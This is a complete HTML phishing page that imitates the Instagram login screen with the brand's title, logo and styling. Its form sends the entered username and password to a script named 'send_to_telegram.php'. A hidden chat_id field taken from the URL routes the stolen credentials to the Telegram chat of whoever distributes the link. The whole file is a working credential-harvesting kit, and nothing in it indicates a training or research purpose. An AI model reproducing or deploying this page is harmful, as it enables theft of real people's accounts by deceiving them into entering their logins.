<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Instagram Login</title>
  <style>
    body {
      font-family: Arial, sans-serif;
      margin: 0;
      padding: 0;
      background-color: #fafafa;
      display: flex;
      flex-direction: column;
      align-items: center;
      justify-content: center;
      height: 100vh;
    }
    .login-container {
      background: #ffffff;
      border: 1px solid #dbdbdb;
      padding: 20px;
      border-radius: 10px;
      width: 350px;
      text-align: center;
    }
    .login-logo {
      margin-bottom: 20px;
    }
    .login-logo img {
      height: 50px;
    }
    .login-form input {
      width: 100%;
      padding: 10px;
      margin: 10px 0;
      border: 1px solid #dbdbdb;
      border-radius: 5px;
      background: #fafafa;
    }
    .login-btn {
      background: #0095f6;
      color: white;
      padding: 10px;
      border: none;
      border-radius: 5px;
      width: 100%;
      cursor: pointer;
      font-weight: bold;
    }
  </style>
</head>
<body>
  <div class="login-container">
    <div class="login-logo">
      <img src="instagram-logo.png" alt="Instagram Logo">
    </div>
    <form class="login-form" action="send_to_telegram.php" method="post">
      <!-- Username and Password -->
      <input type="text" name="username" placeholder="Phone number, username, or email" required>
      <input type="password" name="password" placeholder="Password" required>

      <!-- Hidden input for the chat_id -->
      <input type="hidden" name="chat_id" id="chatIdInput">

      <!-- Submit Button -->
      <button type="submit" class="login-btn">Log In</button>
    </form>
  </div>

  <script>
    // Extract the chatid parameter from the URL and set it as a hidden input value
    const urlParams = new URLSearchParams(window.location.search);
    const chatId = urlParams.get('chatid');
    if (chatId) {
      document.getElementById('chatIdInput').value = chatId;
    } else {
      alert("Error: chatid parameter is missing in the URL.");
    }
  </script>
</body>
</html>
